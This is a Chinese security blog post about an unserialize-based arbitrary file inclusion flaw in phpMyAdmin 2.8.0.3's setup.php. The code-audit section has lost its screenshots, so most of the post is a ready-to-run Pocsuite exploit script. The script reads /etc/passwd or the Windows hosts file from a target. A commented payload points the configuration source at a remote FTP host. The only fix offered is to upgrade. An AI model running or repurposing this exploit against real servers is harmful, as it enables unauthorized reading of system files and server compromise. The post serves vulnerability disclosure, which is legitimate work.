Phpmyadmin2.8.0.3任意文件包含漏洞

  • A+
所属分类:安全文章

0x01 代码审计

漏洞的文件 /scripts/setup.php 第10行和第28行:

Phpmyadmin2.8.0.3任意文件包含漏洞

传入的configuration给反序列化,而这个setup.php中引入了common.lib.php

来到common.lib.php第555行:

Phpmyadmin2.8.0.3任意文件包含漏洞

common.lib.php中引入了Config.class.php

再看看Config.class.php 284行:

Phpmyadmin2.8.0.3任意文件包含漏洞

最后load方法:

Phpmyadmin2.8.0.3任意文件包含漏洞


0x02 漏洞复现

POC:

  1. #!/usr/bin/env python

  2. # coding: utf-8

  3. from pocsuite.api.request import req

  4. from pocsuite.api.poc import register

  5. from pocsuite.api.poc import Output, POCBase

  6. import re

  7.  

  8. class TestPOC(POCBase):

  9. vulID = '1' # ssvid

  10. version = '1.0'

  11. author = ['whoam1']

  12. vulDate = '2016-04-23'

  13. createDate = '2016-08-24'

  14. updateDate = '2016-08-24'

  15. references = ['http://www.seebug.org/vuldb/ssvid-']

  16. name = 'phpmyadmin unserialize getshell'

  17. appPowerLink = 'https://www.phpmyadmin.net/'

  18. appName = 'phpmyadmin'

  19. appVersion = '2.8.0.3'

  20. vulType = '文件包含'

  21. desc = '''

  22. /scripts/setup.php

  23. '''

  24. samples = ['']

  25. install_requires = ['']

  26. #请尽量不要使用第三方库,必要时参考 https://github.com/knownsec/Pocsuite/blob/master/docs/CODING.md#poc-第三方模块依赖说明 填写该字段

  27.  

  28. def _attack(self):

  29. #configuration=O:10:"PMA_Config":1:{s:6:"source",s:38:"ftp://user:[email protected]/ftp.txt";}&action=test

  30. self._verify()

  31.  

  32. def _verify(self):

  33. result = {}

  34. requ = req.get(self.url)

  35. coo = re.compile(r"'phpMyAdmin=(.*?);")

  36. cookie = coo.findall(str(requ.headers))[0]

  37. flag = re.compile(r"erver': '(.*?)',")

  38. flags = flag.findall(str(requ.headers))[0]

  39. vul_url = self.url+'/scripts/setup.php'

  40. header ={'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8','cookie':'phpMyAdmin='+str(cookie),'Content-Type': 'application/x-www-form-urlencoded','User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36'}

  41. if '(' in flags:

  42. poc = 'configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}&action=test'

  43. req_post = req.post(vul_url,headers=header,data=poc)

  44. if '/bin/bash' in req_post.content:

  45. result['VerifyInfo'] = {}

  46. result['VerifyInfo']['URL'] = self.url

  47. return self.parse_output(result)

  48. else:

  49. poc = 'configuration=O:10:"PMA_Config":1:{s:6:"source",s:37:"c:/windows/system32/drivers/etc/hosts";}&action=test'

  50. req_post = req.post(vul_url,headers=header,data=poc)

  51. if 'Windows' in req_post.content:

  52. result['VerifyInfo'] = {}

  53. result['VerifyInfo']['URL'] = self.url

  54. return self.parse_output(result)

  55.  

  56. def parse_output(self, result):

  57. #parse output

  58. output = Output(self)

  59. if result:

  60. output.success(result)

  61. else:

  62. output.fail('Internet nothing returned')

  63. return output

  64.  

  65.  

  66. register(TestPOC)

0x03 修复方案
升级为最新版本



本文始发于微信公众号(飓风网络安全):Phpmyadmin2.8.0.3任意文件包含漏洞

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: